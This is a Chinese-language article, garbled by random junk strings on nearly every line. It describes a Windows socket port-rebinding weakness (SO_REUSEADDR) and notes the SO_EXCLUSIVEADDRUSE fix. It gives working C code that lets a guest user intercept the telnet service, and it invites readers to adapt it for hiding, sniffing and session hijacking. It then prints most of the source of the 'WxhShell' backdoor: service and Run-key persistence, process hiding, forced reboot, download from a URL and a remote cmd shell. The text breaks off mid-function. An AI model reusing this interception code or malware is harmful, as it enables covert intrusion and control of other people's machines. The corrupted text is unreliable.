在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Fv*QcB9K s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
W/3sJc9 {kBsiSvsA; saddr.sin_family = AF_INET;
CiGXyhh Y9gw
('\w saddr.sin_addr.s_addr = htonl(INADDR_ANY);
D.-G!0! ?pcbso bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6O,:I [2YPV\= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
<W>A }}q rd<43 这意味着什么?意味着可以进行如下的攻击:
ZyDNtX% o='A1 P 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
alB'l }#-@5["-X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Hq+QsplG t|V<K^ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
W/%hS)75 K a&
2>F 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1Y&W>p j
RcE241 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
MPDRMGR@i &F/-%l! 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
o&&`_"18 6%h%h: e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
nu7 R $,J0) ~ #include
6T|Z4f| #include
ErJ/h?+ #include
p"c6d'qe #include
hRRxOr#*$ DWORD WINAPI ClientThread(LPVOID lpParam);
FwlDP int main()
C0KFN {
bS2g4]$'po WORD wVersionRequested;
_/z_
X DWORD ret;
3cgq'ob WSADATA wsaData;
z@,(^~C_ BOOL val;
6)ibXbH SOCKADDR_IN saddr;
AWi>(wk< SOCKADDR_IN scaddr;
$ZGup"z) int err;
5I,NvHD4 SOCKET s;
U3z23LgA SOCKET sc;
8b.k*,r> int caddsize;
&Z[+V)6,, HANDLE mt;
S6(48/ DWORD tid;
gm2|`^Xq$ wVersionRequested = MAKEWORD( 2, 2 );
Q-V8=. err = WSAStartup( wVersionRequested, &wsaData );
717THci3Y if ( err != 0 ) {
S*=^I2; printf("error!WSAStartup failed!\n");
Qw5(5W[L return -1;
K=HLMDs }
z[1uub,)1 saddr.sin_family = AF_INET;
!L{mE&
JZ`SV}\` //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
HEbL'fw^s Iy49o! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
2,q*8=?{6P saddr.sin_port = htons(23);
} =)u_q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
gk 6R# {
K=o { printf("error!socket failed!\n");
[n| }> return -1;
$)"T9$>$ }
~EY)c~H val = TRUE;
.z_nW1id //SO_REUSEADDR选项就是可以实现端口重绑定的
a'|]_`36x if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
esA^-$ {
s=-?kcoJ2d printf("error!setsockopt failed!\n");
;Us6:}s return -1;
H @k} }
PvV\b<Pe+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
1aO(+](; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1="]'!2Is //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
SF*mY=1 :FC)+OmJ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
W|@SXO)DY {
N*|EfI|X ret=GetLastError();
9C,gJp}P printf("error!bind failed!\n");
jZqa+nG51 return -1;
NAE|iyw }
2= ;ZJ listen(s,2);
Lf^
7| while(1)
8aVQW_m} {
*!y04'p`< caddsize = sizeof(scaddr);
D9NRM;v //接受连接请求
eWm'eO sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
ym6Emf] if(sc!=INVALID_SOCKET)
#S/~1{ {
U&B(uk(2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
=v\}y+
Yh if(mt==NULL)
{@7UfJh> {
6zU0 8z0- printf("Thread Creat Failed!\n");
7mi*#X} break;
Et*LbU }
l2Py2ZI-b }
M_E$w$l2< CloseHandle(mt);
@]X!#&2> }
!vl1#@ closesocket(s);
1iR\M4?Frf WSACleanup();
aMydeTCHi return 0;
qfFa" a }
;_<
Yzl DWORD WINAPI ClientThread(LPVOID lpParam)
!$iwU3~< {
gf9,/m SOCKET ss = (SOCKET)lpParam;
lxXF8c>U SOCKET sc;
u];\v%b unsigned char buf[4096];
/P3Pv"r|8] SOCKADDR_IN saddr;
:X9;KoJl-V long num;
nrpbQ(zI* DWORD val;
t9W* N\ DWORD ret;
C&d,|e "\ //如果是隐藏端口应用的话,可以在此处加一些判断
U.^%7. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
d<\X)-" saddr.sin_family = AF_INET;
u^ wGVg saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
<Vyl*a{% saddr.sin_port = htons(23);
GF<SQHL, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
P1TTaYu {
E0r#xmk printf("error!socket failed!\n");
&{M-<M return -1;
#c<F,` gdi }
uX7"u*@Q*~ val = 100;
"el3mloR8 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ABtv|0K {
jw2hB[WR ret = GetLastError();
R^I4_ZA return -1;
Fok`-U }
i"!j:YEo if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
MGKSaP;x {
r`0oI66B/ ret = GetLastError();
[9CBTSr return -1;
:Ot5W }
GV)DLHiyxX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
ap|V}jC {
>?X(,c printf("error!socket connect failed!\n");
)hA)`hL
F closesocket(sc);
,}OQzK/"mP closesocket(ss);
[py/\zkn return -1;
$kQQdF }
vN)l3 while(1)
MIAC'_<-e {
g31\7\)Ir //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9@p+g`o //如果是嗅探内容的话,可以再此处进行内容分析和记录
LCpS}L; //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
wAF#N1-k num = recv(ss,buf,4096,0);
s)~H_, if(num>0)
{1wjIo"ptg send(sc,buf,num,0);
\9.@Tg8` else if(num==0)
-v WXL break;
o:/ymeG num = recv(sc,buf,4096,0);
iJ`v3PP if(num>0)
oJ}$ /_ send(ss,buf,num,0);
8nRxx`U\q else if(num==0)
G?yG|5.pU break;
qc^qCGy!z }
2`/p V0 closesocket(ss);
O:O
+Q!58 closesocket(sc);
K06&.>v_ return 0 ;
5l(NX }
_/[(&}M (=i+{
3`| h)C`w'L ==========================================================
9"k^:}8. Wp$'#HhB 下边附上一个代码,,WXhSHELL
w=75?3c7 F *e-+~/9~ ==========================================================
1:iT#~n {[.<BU- #include "stdafx.h"
.
!;K5U )h?Pz1-W1 #include <stdio.h>
Uu3<S #include <string.h>
8(A+"H( #include <windows.h>
!|S{e^WhbU #include <winsock2.h>
`~3y[j]kO #include <winsvc.h>
q--;5"=S #include <urlmon.h>
js\|xfDxP <ekLL{/O' #pragma comment (lib, "Ws2_32.lib")
5S?+03h~ #pragma comment (lib, "urlmon.lib")
|\~!oN w[wrZ:[ #define MAX_USER 100 // 最大客户端连接数
mC(q8%/; #define BUF_SOCK 200 // sock buffer
tO^KCnL #define KEY_BUFF 255 // 输入 buffer
Od:,r `[Xff24(eb #define REBOOT 0 // 重启
f'<MDLl #define SHUTDOWN 1 // 关机
$>fMu ^8yhx-mgb #define DEF_PORT 5000 // 监听端口
WwM/M!98J =9JKg4I6 #define REG_LEN 16 // 注册表键长度
Xm2p<Xu8h #define SVC_LEN 80 // NT服务名长度
k9<P]% }[OOkYF#r // 从dll定义API
,2YkQ/> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
-?$Hr\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nZ 0rxx[V? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
-q.tU*xf' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
3o=K?eOdg HsGyNkr?r // wxhshell配置信息
>)3[CU, struct WSCFG {
.:b|imgiv int ws_port; // 监听端口
[nam H a char ws_passstr[REG_LEN]; // 口令
RMx$]wn_ int ws_autoins; // 安装标记, 1=yes 0=no
uxd5 XS char ws_regname[REG_LEN]; // 注册表键名
O+o1R24JI char ws_svcname[REG_LEN]; // 服务名
>wpC45n)9N char ws_svcdisp[SVC_LEN]; // 服务显示名
*3A[C-1~. char ws_svcdesc[SVC_LEN]; // 服务描述信息
9_z u* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Sb&[V>!2^ int ws_downexe; // 下载执行标记, 1=yes 0=no
2=TQU33# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
DhwFD8tT char ws_filenam[SVC_LEN]; // 下载后保存的文件名
<QyJJQM Qf|=xV,F };
A@X&dy %!G]H // default Wxhshell configuration
q.l"Y#d
struct WSCFG wscfg={DEF_PORT,
'@ym-\, "xuhuanlingzhe",
\WnI&nu 1,
SG{> t*E "Wxhshell",
dcgz<m "Wxhshell",
#l6L7u0~wC "WxhShell Service",
8()L }@y "Wrsky Windows CmdShell Service",
y^#jM "Please Input Your Password: ",
\/J7U|@Lt 1,
Jbud_.h9 "
http://www.wrsky.com/wxhshell.exe",
,{ C "Wxhshell.exe"
YI=03}I };
#[^?f[9r )pS1yYLj // 消息定义模块
Cw<bu|? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
0B^0,d(s char *msg_ws_prompt="\n\r? for help\n\r#>";
AS34yM(h char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
MVW2%6 char *msg_ws_ext="\n\rExit.";
"(6]K}k@ char *msg_ws_end="\n\rQuit.";
3McBTa! char *msg_ws_boot="\n\rReboot...";
?-
5{XrNm char *msg_ws_poff="\n\rShutdown...";
li4rK<O char *msg_ws_down="\n\rSave to ";
$z!o&3c'x T [
`t?, char *msg_ws_err="\n\rErr!";
-0 [^w char *msg_ws_ok="\n\rOK!";
T#.5F7$u )&"l3*x char ExeFile[MAX_PATH];
Ixhe86-:T int nUser = 0;
HL;y5o? HANDLE handles[MAX_USER];
ANNfL9:Jy int OsIsNt;
}|rnyYA [-X=lJ:+h SERVICE_STATUS serviceStatus;
}[P1Va[! SERVICE_STATUS_HANDLE hServiceStatusHandle;
*~F\k):> X6jW mo8] // 函数声明
wf!?'* int Install(void);
`)`J int Uninstall(void);
KLW#+vZ int DownloadFile(char *sURL, SOCKET wsh);
lE~5 b int Boot(int flag);
MS,J+'2 void HideProc(void);
U^trZ]) int GetOsVer(void);
6b9 oSY-8 int Wxhshell(SOCKET wsl);
Om%{fq& void TalkWithClient(void *cs);
^YddVp int CmdShell(SOCKET sock);
_RT3Fk int StartFromService(void);
hr&&"d {s int StartWxhshell(LPSTR lpCmdLine);
&n>\ +Q D[2I_3[wp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^2L\Y2 VOID WINAPI NTServiceHandler( DWORD fdwControl );
X\tE#c&K ,E{z+:Es // 数据结构和表定义
byl#8=? SERVICE_TABLE_ENTRY DispatchTable[] =
?\MvAG7Y {
-lr)z=}) {wscfg.ws_svcname, NTServiceMain},
~y.{WuUD {NULL, NULL}
rPVz!(;k };
g9>
0N#< XUT,)dL // 自我安装
~|e?@3_G int Install(void)
ZUJ! {
.
:Q[Z char svExeFile[MAX_PATH];
t#tAvwFM8 HKEY key;
HS3]8nJW strcpy(svExeFile,ExeFile);
H79XP. TtE b/IT8Cm3 // 如果是win9x系统,修改注册表设为自启动
kwRXNE(k]_ if(!OsIsNt) {
tbHU(#~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
">vxYi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+}H2|vP RegCloseKey(key);
U)~?/s{v if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]-d:wEj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ydo"H9NOS RegCloseKey(key);
M{gtu'. return 0;
[03$*BCq 3 }
yyke"D }
+L_!$"I }
T|o[! @:, else {
M>hHTa?W Q2sX7
cE // 如果是NT以上系统,安装为系统服务
t(69gF\" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
UELni,$ if (schSCManager!=0)
PZZTRgVc {
CR*R'KX D% SC_HANDLE schService = CreateService
M`!\$D (
b0
))->&2 schSCManager,
E)liuu!qI wscfg.ws_svcname,
F(*~[*Ff wscfg.ws_svcdisp,
t]?u<KD< SERVICE_ALL_ACCESS,
}t!,{ZryE1 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
"L^Klk?Vn SERVICE_AUTO_START,
2_@vSwC SERVICE_ERROR_NORMAL,
"Sp+Q&2U svExeFile,
"Ka2jw, NULL,
CAg\-*P| NULL,
'V";"Ei NULL,
u4QPO:,a4 NULL,
xE(VyyR NULL
~IvAnwQ' );
?o'!(3`L if (schService!=0)
&6%%_Lw$ {
)rJ{}U:S CloseServiceHandle(schService);
_^cDB1I? CloseServiceHandle(schSCManager);
g3~e#vdz strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
siveqz6h strcat(svExeFile,wscfg.ws_svcname);
)-$Od2u2c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
FG.MV-G
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
GtcY){7 RegCloseKey(key);
l
\~w(8g<A return 0;
@QiuCB }
1U[8OM{$ }
;ru=z@ CloseServiceHandle(schSCManager);
J6Uo+0S }
Q]WjW'Ry\ }
SaKaN#C emp*j@9 return 1;
rlSar$ }
ZuIr=`"j |^jl^oW // 自我卸载
X`kTbIZ| int Uninstall(void)
{E*dDv {
*Dx&} " HKEY key;
JWhi*je ^_FB .y% if(!OsIsNt) {
wc7gOrPpm if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-*8 |J; RegDeleteValue(key,wscfg.ws_regname);
XB RegCloseKey(key);
4/Ub%t- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L{H`
t{A RegDeleteValue(key,wscfg.ws_regname);
k}T#-Gb RegCloseKey(key);
Y r6wYs(% return 0;
,B|~V 3)( }
9?"]dEM }
GSzb }
H_gY)m else {
Db"jzMW. !#l>+9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
f9FJ:? if (schSCManager!=0)
YlfzHeN1 {
z~b5K\/1B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
}7p`8? if (schService!=0)
eUP.:(E {
d:08@~# if(DeleteService(schService)!=0) {
J3Ipk-'lx CloseServiceHandle(schService);
'qR)f\em CloseServiceHandle(schSCManager);
lYz{#UX} return 0;
%j3XoRex>< }
3[mVPV CloseServiceHandle(schService);
;S
Re` }
_a?c,<A CloseServiceHandle(schSCManager);
9<qAf` }
8T ?=_| }
qffVF|7 {4B{~Qe; return 1;
"+SnHpNx }
Zy!^HS$ ~mAv)JK // 从指定url下载文件
3d<Z##`{4 int DownloadFile(char *sURL, SOCKET wsh)
A HnXN%m {
XcN"orAo HRESULT hr;
0hJ,l. char seps[]= "/";
WC2sRv4]3 char *token;
62L,/?`B$ char *file;
1 Hw %DJ char myURL[MAX_PATH];
D(bQFRBY6" char myFILE[MAX_PATH];
l@edR)n < !2YvG%t^6 strcpy(myURL,sURL);
FU]jI[ token=strtok(myURL,seps);
6uNWL `v while(token!=NULL)
)96tBA%u {
K+HP2|#6 file=token;
IR_&dWHyc token=strtok(NULL,seps);
d@d\9*mn }
}
O:Y?Wq^ CEQs}bz GetCurrentDirectory(MAX_PATH,myFILE);
yLpsK[)}\ strcat(myFILE, "\\");
5~,usA* strcat(myFILE, file);
SM?rss.= send(wsh,myFILE,strlen(myFILE),0);
,,}&
Q%5 send(wsh,"...",3,0);
92F9)S{" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
LH_VdLds if(hr==S_OK)
;RR\ Hwix return 0;
H6o_*Y else
t=(d, kf return 1;
NeI#gJ1A SN#Cnu} }
~<.%sVwE g"}j // 系统电源模块
obzdH:S int Boot(int flag)
kleE\8_ {
K;L6<a A# HANDLE hToken;
(R^qY"H
2 TOKEN_PRIVILEGES tkp;
Rz03he E'g?44vyw if(OsIsNt) {
P7`RAz OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!(H
RP9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
^n%9Tu tkp.PrivilegeCount = 1;
(fqU73 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
y8.3tp AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
o;[cApiQ,2 if(flag==REBOOT) {
'.gLqm}% if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
TdKo"H*C return 0;
zE8qU; }
,DIr&5>p2 else {
tNf_,]u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
rds4eUxe return 0;
x'iBEm }
f^]^IXzXw. }
-IE=?23Do? else {
-n"7G%$M if(flag==REBOOT) {
P;bOtT -- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
XjFaP { return 0;
AMe_D }
Dzr(Fb else {
FT;I|+H*P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
p)c"xaTP#F return 0;
M<K}H8? }
3kW%,d*_ }
dF+R
q|n{ DR<=C`<4( return 1;
LZ4Z]!V }
z{(c-7* lPA:ho/`: // win9x进程隐藏模块
LTZ~Id-)P void HideProc(void)
WNp-V02l {
{C'9?4& )U+Pt98" HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
)YPut. if ( hKernel != NULL )
l<UJ@XID$ {
F* _ytL pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
jc7NYoT: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
MT^krv(G FreeLibrary(hKernel);
\~#$o34V }
BDcA_=^R& 5
8n(fdE return;
4mci@1K#^ }
yIf>8ed]# '-[?iF@l // 获取操作系统版本
iX6'3\Q3A int GetOsVer(void)
E>&oe&`o' {
[J6q(}f OSVERSIONINFO winfo;
Rf#t|MW*# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
NaC}KI` GetVersionEx(&winfo);
tW \q;_DSr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,K8(D<{ return 1;
8?[#\KgH1 else
+<7a$/L?4 return 0;
c.Do b?5 }
;#n+$Q#: Y/`*t(/5 // 客户端句柄模块
Ji;R{tZ.R int Wxhshell(SOCKET wsl)
Sz0CP1WB {
,7^,\ ,-m SOCKET wsh;
7rjS. struct sockaddr_in client;
ct@i]}"` DWORD myID;
/u pDbP.O &)F#cVB while(nUser<MAX_USER)
r1AG1Y {
g6(u6%MD int nSize=sizeof(client);
(6~~e$j wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0RkiD8U5 if(wsh==INVALID_SOCKET) return 1;
V38v2LI #RVN7-x handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
)jm u*D5N if(handles[nUser]==0)
Z)dE#A_X closesocket(wsh);
wf/DLAC else
%z5P%F'5 nUser++;
&?#!%Ds }
ehr,+GX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
.>+jtp} Fy-|E>@]D return 0;
JTfG^Nv>K }
50Y^##]& .+2@(r // 关闭 socket
Vv~:^6il void CloseIt(SOCKET wsh)
\
0aa0= {
707-iLkt.1 closesocket(wsh);
#hP&;HZ2>" nUser--;
X0Zr?$q
ExitThread(0);
1,(uRS#bk }
_5SA(0D#9 s5D<c'- // 客户端请求句柄
ma7@vD void TalkWithClient(void *cs)
q? 2kD"%$ {
M`gr*p N
cnL -k. SOCKET wsh=(SOCKET)cs;
HzD=F3\r| char pwd[SVC_LEN];
d}_%xkC char cmd[KEY_BUFF];
u|uPvbM char chr[1];
=VM4Q+'K int i,j;
1)N{!w` XbL\l while (nUser < MAX_USER) {
oCR-KR>{Q m-)yQM8 if(wscfg.ws_passstr) {
H_+F~P5RC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Mg}8 3kS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n;,>Fv //ZeroMemory(pwd,KEY_BUFF);
- |j4u#z i=0;
s^Wh!:>r/ while(i<SVC_LEN) {
$jtXNE? _Vf0MU;3f+ // 设置超时
( R0>0f@ fd_set FdRead;
RmcQGQ struct timeval TimeOut;
Vs~!\<? FD_ZERO(&FdRead);
XVNJ3/ FD_SET(wsh,&FdRead);
/pOK4" TimeOut.tv_sec=8;
D?<R5zp TimeOut.tv_usec=0;
#I|jFn9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
~76qFZe- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
<4QOjW #}U*gVYe if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
FsyM{LT pwd
=chr[0]; #pm0T1+jW
if(chr[0]==0xd || chr[0]==0xa) { h.D*Y3=<
pwd=0; &*r'Sx)V
break; -yH8bm'0"
} XexslzI
i++; ,}hJ)
} IoI
,IX]i)
0zvA>4cq)
// 如果是非法用户,关闭 socket 5gnmRd
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pHkhs{/X
} S0uEz;cE
Rh.CnCbM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 07:N)y,
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c5e
wG
#0wH.\79
while(1) { +bv-! rf
2|C(|fD4
ZeroMemory(cmd,KEY_BUFF); bRzw.(k0`r
16N+
// 自动支持客户端 telnet标准 3]u[NR
j=0; |-SImxV
while(j<KEY_BUFF) { E")g1xGaK
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ejuw+@ _
cmd[j]=chr[0]; g.re`m|Aj
if(chr[0]==0xa || chr[0]==0xd) { *He%%pk
cmd[j]=0; a~nErB
break; hL8GW> `a
} CS<,qvLpL
j++; u^!c:RfE?
} cii]-%J}c
^`&?"yj<z
// 下载文件 M((]> *g
if(strstr(cmd,"http://")) { jg7WMH"`
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :J{| /"==
if(DownloadFile(cmd,wsh)) _,m|gr,S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *+wGXm
else XW*,Lo5>H\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IV5B5Q'D
} lwU$*?yv
else { A&:i$`m,
'.mHx#?7
switch(cmd[0]) { .9Y,N&V<H
}>|M6.n "
// 帮助 T.57Okp
case '?': { RrPo89o
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1Y-m=~J7
break; /s\_"p
} Q0\tK=Z/
// 安装 y
;$8C
case 'i': { *yx&4)Or
if(Install()) 8<VO>WA>E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }95;qyQ$
else W_##8[r(?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lhk[U!>#
break; Y8Bc
&q}
} *+-L`b{SX
// 卸载 38[k o3
case 'r': { qXH\e|
if(Uninstall()) mF?GQls`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k[6xuyY]
else z DP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xgX"5Czvv`
break; 4K(AXk
} Bj ~bsT@a.
// 显示 wxhshell 所在路径 NiCH$+c\
case 'p': { kbxy^4"X
char svExeFile[MAX_PATH]; huu v`$~y
strcpy(svExeFile,"\n\r"); WP@IV;i
strcat(svExeFile,ExeFile); |9;6Cp
send(wsh,svExeFile,strlen(svExeFile),0); 0! :1o61
break; ~is$Onf99#
} b* QRd
// 重启 _msV3JBr
case 'b': { d=TZaVL$$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Nf#8V|
if(Boot(REBOOT)) (\Iz(N["G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {G+pI2^
else { j#C1+Us
closesocket(wsh); wQ 7G_kVp
ExitThread(0); fY|Bc<,V9)
} +EmT+$>J
break; wz,T7L
} g"60{
// 关机 98%M`WY
case 'd': { ",b3C.
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]<pnHh+2A
if(Boot(SHUTDOWN)) X_7cwPY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y=%SK8]Q;
else { Koi
closesocket(wsh); Myl!tXawe8
ExitThread(0); ii.L]#3y
} $Vi[195]2
break; m#D+Yh/y{n
} aw0;
// 获取shell ,_JhvPWR,)
case 's': { X`[P11`
CmdShell(wsh);
g1je':
closesocket(wsh); Y:~A-_
ExitThread(0); Zy}Qc")Z
break; X>[x7t:
} _^)Wrf+
// 退出 5}4f[
case 'x': { 9@Iz:!oqb
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;B 35E!QJ
CloseIt(wsh); }@6/sg
break; ; bBz<
} p19[qy~.
// 离开 YF+hN\
case 'q': { sHqs)@D
send(wsh,msg_ws_end,strlen(msg_ws_end),0); |Ef\B]Ns
closesocket(wsh); Bs@!S?
WSACleanup(); -8L22t
exit(1); fn%Gu s~
break; K3jPTAw=#
} *V\z]Dy-[
} >-2eZ(n)"
} |H:JwxH
O'6zV"<P
// 提示信息 Ywj=6 +;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ")/TbTVu
} E<[_L!2
} y_^w|
3:">]LMi
return; vybQ}dscn
} !]%M
? m$uqi
// shell模块句柄 p!+7F\
int CmdShell(SOCKET sock) M18H1e@Al
{ Uoskfm
STARTUPINFO si; U($sH9,
ZeroMemory(&si,sizeof(si)); 16iymiLz&
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'bH',X8gF
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $jt UQ1
PROCESS_INFORMATION ProcessInfo; pK)*{fC$`
char cmdline[]="cmd"; =j)y.x(
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'Zq$W]i
return 0; rAc
Yt9M#
} J{GtH[
@WppiZ$
// 自身启动模式 Cd4a7<-
int StartFromService(void) Wvhg:vup
{ pUvbIbg+
typedef struct so* lV
{ br!:g]Vh
DWORD ExitStatus; |{#=#3X
DWORD PebBaseAddress; z3l=aAw8
DWORD AffinityMask; R3MbTg
DWORD BasePriority; J 4$^Hr
ULONG UniqueProcessId; _$<Q$P6y
ULONG InheritedFromUniqueProcessId; OSQt:58K
